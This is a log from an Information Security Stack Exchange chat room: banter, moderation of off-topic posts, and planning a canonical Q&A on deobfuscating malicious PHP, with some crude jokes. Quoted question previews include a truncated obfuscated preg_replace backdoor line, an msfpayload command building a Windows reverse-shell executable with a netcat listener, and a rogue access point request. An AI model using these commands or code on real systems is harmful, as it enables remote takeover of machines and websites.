« first day (1895 days earlier)      last day (3283 days later) » 

00:05
@schroeder U WOT M8
I'm installing FreeBSD in a VM because I'm feeling kinky ton8.
00:23
-3
Q: Help in Hacking a site

LuckyAliHello my name is LuckyAli. Can you guys Hack this site so that I can a have premium account for free. Here is the link to be hacked, Thanks you Guys!You are the Best!:) Regards, .::LuckyAli::.

ffs
00:34
@Simon that's the same guy who claimed to have broken AES
AWWWW YISS. Mechanical keyboard and new mouse arrived today
This keyboard is LOUD
Clickety clackety
Also, FYI 16400 DPI is completely insane.
@RоryMcCune I totally get what you're saying. In fact, this is to help demonstrate that another tool's network-based fingerprinting is faulty. I wanna be able to point and say, "this is why Nmap says it's X and not Y".
Otherwise, yeah. Without actual access to the system, the most you can usually get reliably by fingerprinting is whether it's Windows/Mac/Linux/Other. And you can't even count on that 100%.
01:07
@schroeder Looks like it'd be a good buddy for Markus.
01:26
@Simon LOOOOOOOOL Dude wants us to hack Brazzers for him
02:08
If he wants help hacking that, IMNSHO, he needs to consider he has a porn addiction.
02:37
@AviD:
OKAY?!?
Wow I didn't realize military uniforms were so dangerously sexy
@DavidFreitag Nice. How are they?
 
3 hours later…
05:51
@schroeder Awake?
06:15
@MarkBuffalo yep
@schroeder I'm almost done with my Q&A for deobfuscation
I just woke up and decided to go at it
right now I'm working on examples, then I'll ask the question and answer it, but I won't accept it. that'll give others a chance to help out too
I think you'll like it
@MarkBuffalo sounds like a good plan
07:02
@schroeder Still awake?
@MarkBuffalo barely
I'm trying to think of a good way to ask the question in the most generic way
thoughts?
I was thinking of something along the lines of "I think I've been hacked. How can I deobfuscate this malicious PHP code?"
how about, "I found unknown PHP on my server. How do I de-obfuscate the code?"
And the content of the question so it doesn't get closed?
> We seem to be getting a lot of noise regarding hacked PHP. Is there a one-size fits most scenario for de-obfuscating malicious PHP?
keep it simple - I'll protect it and re-open if necessary
07:13
0
Q: I found unknown PHP code on my server. How do I de-obfuscate the code?

Mark BuffaloWe've been getting a lot of noise regarding hacked PHP files here, and it's taking a lot of time to answer these questions. In many cases, they are off-topic. We've had a discussion about this on Information Security Meta, and many people want these posts to stay. However, nearly every single p...

@schroeder There you go
65
Q: Found suspicious, obfuscated PHP file. Is this a hack attempt on my website?

ScottI just noticed that the top line of my index.php file got changed to what's below. <?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c...

vtc'd as duplicate
28
Q: WordPress hacked, found suspicious file

Dimitar YordanovBasically a website I am running got hacked in January and sent out a whole bunch of spam mails, traffic went through the roof, so the hosting company disabled the site back then, but that wasn't communicated well, so I'm dealing with it now. Today, I looked over the files of the website and not...

vtc'd as dupe
-1
Q: Please help me understand this PHP hack

flightwuselWe have found this on a hacked PHP webserver. It was in a single file. This file was included from somewhere else with @require. That's what we know: This site is running PHP 5.3 The site had thousands of 'Viagra' type URLs that were crawled by Google It obviously works by using the preg_repl...

dupe
can do that later
08:07
Morning!
morning
feel free to edit the question to make it better
@Simon uhh no, that is NOT okay
Morning
I'm so tired I'm going to pass out
'ning
08:21
@MarkBuffalo Apply coffee to tired human
@Lighty slept when I got home from work... until like midnight ;]
so I'll be ok
ew, finishing a nightshift? or just a really bad night of sleep?
I'll take the latter
and the coffee
@Lighty neither
2
Q: I found unknown PHP code on my server. How do I de-obfuscate the code?

Mark BuffaloWe've been getting a lot of noise regarding hacked PHP files here, and it's taking a lot of time to answer these questions. In many cases, they are off-topic. We've had a discussion about this on Information Security Meta, and many people want these posts to stay. However, nearly every single p...

wtb attention
afk sleep
08:43
gosh that actually took me four attempts to unlock my PC
Morning
@MarkBuffalo flagged as dupe
@Arperum o/
@MarkBuffalo what do the highly obfuscated functions CallHome() and GrantRemoteAccess() in your Base64Decode.exe do?
@schroeder Please Open up this question, i believe its now corrected ..? security.stackexchange.com/questions/115431/…
mornin' all
08:58
@RоryMcCune \o
@ManishArora if you've edited it, it will appear in the reopen queue so others can reopen it if they feel it meets the site's quality requirements
there's no point in pinging @schroeder at this time of day he's still dreaming of licking maple trees or whatever those silly Canadians do
@Iszi well -vvvv is your man for upping the verbosity of the output. You can show full packet traces too but that's probably a bit OTT
@Arperum o/
@kalina Can normal users re-open a mod-close?
@Arperum vote to reopen?
@M'vy Yea, but I don't know if we can overrule a mod decision by reopen votes.
09:02
@Arperum sure can
@Arperum community > mods :)
because f*** da poli...derators
Otherwise it would have been deleted alltogether I guess
BURN THEM WITH FIRE
BWAHAHAHAHAHAA
I need coffee
poliderators? hm...
09:03
Morning @kali
warms hands
@kalina i hope its reopens ..there is too much entry friction for new comers.. :(
@ManishArora no there isn't, one of my first posts on this site got over 100 internet points
^^#Fogey-Life
09:04
it's all about how interesting the content you post is
@ManishArora just hang-in tight
@ManishArora - the question still appears to be nothing about security
You are asking how cell networks handle fallback from 3G to 2G
off topic here
@AviD I don't understand why you linked that to the thing
oh right, I get it
I still need coffee
On my 3rd one today already
09:06
you're pointing out how completely unsympathetic I reacted to the newcomer posting something not on topic
Am standing in for my manager's manager at a board meeting - tense, much?
@RoryAlsop I'm aff it
in public
so now I'm bringing it up, bringing further attention to it
@RoryAlsop fall back to less secure technology is not a security issue ?
and srsface I hate all of you don't communicate with me again until I've had coffee
09:07
@kalina heh no, just hit you up on the first comment of yours I saw
this is me being lazy, not secretly intelligent
@ManishArora your question is nothing to do with security. There may well be security issues with going from 3G to 2G, but that is not what your question is asking
that's... disappointing
I obviously over estimated you by many orders of magnitude
@kalina ooh I should go get me coffee. I have a fresh pack of Panama Palmyra - my favorite!
@kalina heh didnt know that was possible
fine I'll go and get coffee now
also, my intelligence is not secret, I shove it in people's faces all the time.
09:09
happy coffee
@RоryMcCune I should do that again
@RoryAlsop yeah I was getting a bit heavy on the coffee, so trying this "clean" diet thing, which amongst other things involves being off coffee
@RoryAlsop The Question is asking how a target device reacts to some particular situation/attack, If it does not come under Information security then please point me right direction instead
*waggles his sock puppet @Ohnana *
Morning
09:15
@ManishArora I think if you want a security answer you'll need to dramatically re-word the question. As it stands it is purely a simple cellular network question - best answered somewhere focuses on that sort of thing.
Maybe Network Engineering, maybe SU or SO?
some symmetric crypto less quantum-safe than expected, a nice application of Simon and superposition queries http://arxiv.org/abs/1602.05973
> a nice application of @Simon and superposition queries
I have no idea what that means but I am hilariously intrigued.
@RoryAlsop Is this the question I rewrote completely?
@AviD "Simon's algorithm (the simplest quantum period finding algorithm)" d'ya think that's a pun on "Simple Simon" by any chance
hehe
09:17
@Matthew I think so, before it was then edited again to add in android and iPhone numbers
@RоryMcCune here's @Simon's simplest quantum period finding algorithm: Just look at the end of the sentence!
@AviD ah no wait it's a quantum period so it may not exist when you look at it...
@RоryMcCune well like at the prevoius sentence it was an exclamation point
inb4 "you're a quantum period"
@RoryAlsop Not sure that adds anything useful. Maybe it could go to "Do any 3G phones drop to 2G connections when the 2G signal is stronger, and if so, can this be used to reduce the encryption level used for calls and texts?"
09:20
@RоryMcCune I also wanna say something about "superposition" and @Simon's mom, but that's too quantum.
I wonder what a quantum period would feel like
@Matthew But we know the providers prioritise 2G over 3G, so that voice is always possible, so with a strong 2G signal of course phones will have weaker encryption level
@kalina weird. Not really there. In a tiny point, but all spread out
@kalina ugh
@MarkBuffalo The links to CMS checklists are not the ones you want I think. (Or I'm significantly more dumb than I knew)
@RoryAlsop It's possible that not everyone knows that, and it's at least answerable
09:24
But question 1 - will it drop to 2G - is not security. And question 2 - is 2G weaker than 3G - is a simple 'yes'
@Matthew looks like a list question
@RoryAlsop Hmm, suppose so.
coffee is nice but bed is nicer
@kalina Sleeping in a giant mug of coffee is warm, but doesn't promote sleep. Caffeine can go through your skin
@Matthew I'm sure I could still sleep
you underestimate my ability to sleep
09:41
@kalina if that was Anakin's line, it would have made that movie really interesting.
hmm...
#yawn
@AviD it means that with @Simon's mom collisions happen as a function of Ovid
I shall try that "go back to sleep" Jedi mind trick one day
"This is not the consciousness you are looking for"
09:51
@M'vy you can practice with @Simon's mom.
pass;
10:07
Hi, I'd like to improve my question security.stackexchange.com/questions/115418/… which is considered off-topic. I have read the security.stackexchange.com/help/on-topic and added information. Could you point me in the right direction if it gets better like that? thanks.
or if it is not suitable for security.SE at all?
@RoryAlsop is there a way to generated the -> go to chat room link in comments ?
@M'vy - yes...if you are a moderator :-)
would you like me to do that for the one you linked?
Oh, wait
Do you mean add a link to this chat room?
That is easy - simply use [chat]
no, create dedicated room I guess is better ? what do you think ?
Or do you mean the new chat room specific to that one? Only mods can do that
Or the system can auto generate if you pass thresholds
I'll migrate to dedicated chat room for you on that one
ok
I guess it's needed :)
10:14
@flightwusel your post has been superceeded but incorrectly closed as off topic
Ahh - that one should have been dupe...
it should have been closed as a duplicate of security.stackexchange.com/q/115461/31854
Hang on - I'll fix
@flightwusel The reason why it has been superceeded and then closed as a dupe is because we've been receiving a lot of very specific "zomg haxxed php halp!" questions and figured we should just have the one which answers all of them
0
Q: windows/shell_reverse_tcp exploit is not working if listener is not running already

localhostI am using metasploit to generate a shell_reverse_tcp exploit using following command msfpayload windows/shell_reverse_tcp LHOST=192.168.1.171 x > exploit.exe and on listener side I am using netcat. Everything is perfect and if I run the listener first(nc -l -p 4444) and after that exploit.exe...

whats is he/she asking?
10:19
@kalina which makes @MarkBuffalo the Sauron of PHP-hack questions ?
@M'vy basically I've never seen such blatant rep whoring
this is so explicit that even I'm blushing
3
Ambition my dear.
@Lighty Why isn't my exploit retrying automatically?
@Matthew shrugs
@M'vy there's a difference between getting ahead and murdering everybody on the way
10:22
@kalina perspectives
@Matthew I have no idea what that one is about, feels like a super unwanted and unclear question to me
"I've noticed that a lot of PHP questions are coming in so what I'm going to do is just post one comprehensive question and answer to make all of the others duplicates and then rep whore that shit until everybody is bored sick of it" -- @MarkBuffalo, February 2016
@Lighty I think it's one where they've not read the Metasploit docs...
0
Q: Creating Rogue Access Point

susa1012I would like to create a rogue access point broadcasting same SSID and security.There is already a router which brodcasts SSID for instance, say House_Router.I already have an extra router with me through which i want to broadcast the same SSID.Could someone tell me how this can be achieved?

Have we considered a "black hat hacking" SE which automatically reports all posts to the FBI/GCHQ/etc?
@Matthew aren't they already monitoring sec.se ?
@M'vy I was thinking we make it easy for them!
10:28
@kalina ok, thanks. I love stackexchange as a user and want to stick to the rules.
@Matthew hmmm... not sure I see what interest I have in doing this.
@Matthew I think there is a current Area51 proposal which sort of counts as that. There have been more explicit proposals in this area which have failed :-)
@kalina and I see it just got tweeted by the stackbot...
@RoryAlsop :$
so much filth
Inorite
@RoryAlsop the enemy has spies everywhere. Animals, plants, stackbots...
10:38
Maybe Mark should mark it as a community answer!
You can't do that now I think
You have to pass the thresholds, don't you ?
pls
can you be less noobie
also nobody cares that much, sec.se could probably do with another 20k user
@kalina ;-)
@Arperum They got re-arranged, most likely. I will fix them
so much for sleeping
Wow - just been looking at stats. @MarkBuffalo is consistently gaining twice the rep big bear is gaining each week!
Good work fella
10:42
that's because he's a rep whore
@ThomasPornin posts 5 posts all of which rock
@MarkBuffalo posts 200 posts of which 5 rock
(Of course, total bear rep is higher)
@MarkBuffalo != @ThomasPornin
@kalina QUANTITY NOT QUALITY
Buffalo != Bear
Herbivore != Carnivore
Bears kill buffalos
10:45
@MarkBuffalo You said it...
@MarkBuffalo pls that's nonsense
Wildebeests > bears + buffalos
one sex and ten orgasms is better than ten sex and no orgasms
@AviD Haggises > Wildebeests
10:45
@RоryMcCune ooh can you make haggis out of wildebeest?
@kalina so its not how much there is, its how well you know what to do with it?
Haggises+gnu+bear+buffalo ... Better or worse than kalina's suggestion?
@AviD You don't make haggis. You catch haggis. With nets on the sides of hills
@AviD we didn't take into consideration penetration depth
@AviD - yes, you can make haggis from any animal
@kalina defence in depth is on topic here
@Matthew exactly!
10:47
sometimes you just have to go all the way, as deep as the rabbit hole goes
oh, that's a ... euphemism
What is that heavily obfuscated function CallHome() in your Base64Decoder.exe? — kalina 28 mins ago
@AviD like matthew pointed out, haggises are things you catch
I thought it was a popular product, @kali
Did you decompile in ILSpy?
@MarkBuffalo FINE I'LL DELETE IT
10:48
@RоryMcCune like zika
@RоryMcCune you go fishing in deepfrying oil
@RoryAlsop well yes, rampantly
@RoryAlsop yeah for tunneling IPX over TCP/IP so you can play doom over the Internet
Is KaliLinux short for Kalina Linux?
@RoryAlsop except tastier and less diseasy
10:49
@RоryMcCune hahahaha
@kalina This is probably one of the worst questions I've asked... oh wait, it's the only one. Feel free to edit it. If you can improve the question, do eet.
@RоryMcCune Except the counterclockwise ones...
this conversation is worrying because I had a completely different direction going on in my head
@MarkBuffalo the only way I could improve it is by having it reassigned to my account
@kalina What about by adding Jackie Chan?
10:50
@kalina sounds suspiciously like a compliment, there...
@Matthew they're buggers the counter-clockwise lot, gotta be careful of 'em when they're mating
@kalina those are the best kinds
@RoryAlsop sssssssh
@RоryMcCune Exactly. One of those can mess up the whole flock
@RoryAlsop Yes, but @ThomasPornin is gaining mostly passive rep without even trying. I have a long road ahead of me to even get close to that. I have to sell my body for reputation every day. lol
10:53
@MarkBuffalo momentum slows down for everybody if you don't maintain it
as I tested with science(!)
I'm still getting fallout 4 rep on arqade even though I haven't logged in for more than 3 minutes at a time since december
but it's now slowing to the point where I occasionally have days with no upvotes
by November time it will have basically stopped and I'll be back at my properly passive level of 1-5 upvotes per week and then Deus Ex + Mass Effect will make up for it
@kalina catch on quick. But @schroeder wanted me to make this thread, lol
@Arperum I fixed this. Thank you
@MarkBuffalo #careface
you're mistaking me for somebody who cares
I should return to sleep for a few hours
10:57
the mark of a true rep whore is one that wakes up in the middle of the night to ensure they've rep capped for the day before going back to bed content
I am capped for the day though
I woke up expecting -35. I had a nightmare....
"I can sleep easy now, there are no more internet points to be gained today" - @MarkBuffalo
4
@kalina that sounds more like a repslut
I didn't realize there was a difference
actually, I wanted to make sure I didn't make a mistake in my fatigued state. unfortunately, I did
for example, I mixed up dec/hex, and forgot the cms hardening links
10:59
5
Q: Can aircraft be hacked and "commandeered remotely"?

March HoThis sensationalist article by John McAfee on Business Insider makes a number of unsupported claims about cybersecurity. In the article, he claims that (emphasis mine): For the purpose of our discussion I'm going to ignore the near certainty that a cyber attack will disable all of our civil...

@MarkBuffalo this reasoning is just as bad, might as well just stick with what I said
Heh - good old mcafee
@kalina ALRIGHT
@RoryAlsop of course they can
that guy did it
@RoryAlsop actually
> A cybersecurity consultant told the FBI he hacked into computer systems aboard airliners up to 20 times and managed to control an aircraft engine during a flight, according to federal court documents.
11:01
If you read the post and that answer, you will see a wider range of evidence :-)
I'll check it then
ah
yeah, I don't think they would come out and admit to something like that... but that's just me being a tinfoil hattist
I hope the poster is right
@RoryAlsop is there any evidence McAffee can actually fly by simply flapping his arms?
@RoryAlsop also, "remotely" does not mean "without a wire". In #Scorpion, the guy just drove really fast while the other guy ran a really long ethernet cable through the landing gear. So definitely possible.
is there a precedent of a computer system that should be more secure than an aircraft being hacked? [Yes - a nuclear power plant]
ergo, chances are planes can be hacked
11:06
cuz #Scorpion is based on a true story, donchaknow
bored
music time I think
or orange is the new black
or movies
or bed
or sample hunting
11:21
@kalina watching my band videos again, eh? ;-)
Can it be tomorrow already?
Excited to see Joe Bonamassa in Dortmund, Germany :3
0
A: What are the difference between WPA2-PSK and WPA2-EAP-PSK?

LangdonI swear this wifi add is following me I've had tons of different phones so it can't be mine can it (RSS-351540) just because I'm paranoid doesn't mean they aren't following me lol please lmk SOMTHING it has WPA wpa2 and psk that's all info I have

what. the. fiddlesticks.
Please invent the WTF flag
@Lighty nice - he is amazing live
@RoryAlsop Going with dad, its bout half an hour drive from where I live
Dad already saw him once, even catched his sunglasses, almost
@Lighty so...he has his badge for reading the full tour page, and still posted that
@RoryAlsop no pls netflix drama
11:27
@RoryAlsop insert some foul joke about brain-damage here
Joe is such a natural bluesman
I love his YT and website videos
orange is the new black is going to hold my personal worst record for most scrubbed tv show
his collection, omg
he just opens his closet, full of foot-pedals xD
it has so much fluff I'm forever skipping ahead
11:33
0
Q: Two issuing CA in two-tier pki (WIndows 2012)

Vasiliy PlotnikovI'm planning to setup two-tier PKI in my environment. We have two remote sites connected via VPN. I think it is ok to set up both Root CA and Issuing CA on the 1st site. But for example I have internal web server on the 2nd site. Q1. Am I right that, if the VPN fails, clients on the 2nd site st...

hmm
off-topic, or off-topic > ServerFault?
or something else?
@Lighty Looks server admin question to me
0
Q: Broadcasting 10k SSIDs

gmanHow hard would it be, and or is it possible, to configure a router or PC to broadcast ten thousand SSIDs. If it is possible what repercussions would it have? Would this be a form of DOSing or is there some mitigation that would prevent it? It's surely possible to broadcast a few as most routers ...

Another one for the "why?" pile
@Matthew but... why..
@Lighty Sometimes you wonder if this is someone who really hates people being on their phone in the cinema, trying more and more extreme methods to prevent it
And one day we'll get a question like "can I use an EMP generator to target specific mobile phones?"
@Matthew - did you see Steve Lord's paper for Kiwicon this year? He built a device that would actively prevent selfies:-)
@RoryAlsop "device"? Is it a box that fits over the phone?
11:44
No, it isn't that crazy thing. It's a raspberry pi that does a little bit of clever interception and deauth
@RoryAlsop Hmm, it doesn't prevent someone with 4G from uploading selfies! No good! Needs more power!
@Lighty please try to be thorough when you suggest an edit, you left several issues with the post unresolved :P
@TildalWave Normally, such a thing doesn't happen, thanks for letting me know ^^
oh no dear, you bend over now...
2
link to this atrocity?
11:46
@TildalWave Don't get me started on that, I'm a type that would
hahaha
@Matthew I can't make head or tail of this, what would possibly be the purpose of it? It does nothing...
purpouses?
PURPOUSES?
you introduced a spelling mistake in your edit?
you left bad grammar in the post?!
YOU ADDED MORE BAD GRAMMAR?!
@kalina only the spelling mistake ^^;
that's what peer reviewing is for :x
no peer reviewing is to review high quality edits to ensure you've got a clue
I don't see a ban this user from submitting this nonsense button
so it can't be real peer reviewing
I AM SHOCKED
11:51
xd
oh pls @TildalWave I was about to edit that, now I've just rolled back your edit because it wasn't on my screen
meh
too many cooks spoil the broth
obviously I re-rolled it back-back
Too many cooks, too many cooks...
It takes a lot to make a stew...
@TildalWave I don't know!
11:54
@Matthew maybe he wants to write poetry with SSIDs
@TildalWave I now have the concept of a Star Wars scroll in reverse, using the strength of the SSIDs to make lines move down an auto sorted list
ha, never thought of using SSIDs to broadcast spoilers ... now that's a novel attack LOL
@TildalWave I feel I should do this with a Raspberry Pi and a coffee shop...
0
Q: Why IOS on IPhone cannot be brute-forced programatically?

Ilya ChernomordikI am interested in the recent Apple case where FBI wants to get access, but they say it's not technically possible other than creating a new OS (or I guess just modifying the existing one). More details of Apple response is here. What I do not understand is how is it not possible to brute-force ...

could work as a parental control... no connecting to WiFi past 11 pm or you're gonna find out what happened in the last episode of whatever series is trending now
I'm sure there is an answer to this knocking around on the site, but I'm failing at search
@TildalWave Presumably they'd just automatically connect though?
12:04
@Matthew they'd have to select the SSID first
@TildalWave My phone and laptop just connect to my home network by magic...
12:32
@TildalWave nice
@AviD #ME
12:53
@Matthew change your WiFi SSID, see what good that magic does :P
@TildalWave well if you're windows all the way and sign-in with a Microsoft account you should only need to update one device in theory
Magic* will sort the rest

« first day (1895 days earlier)      last day (3283 days later) »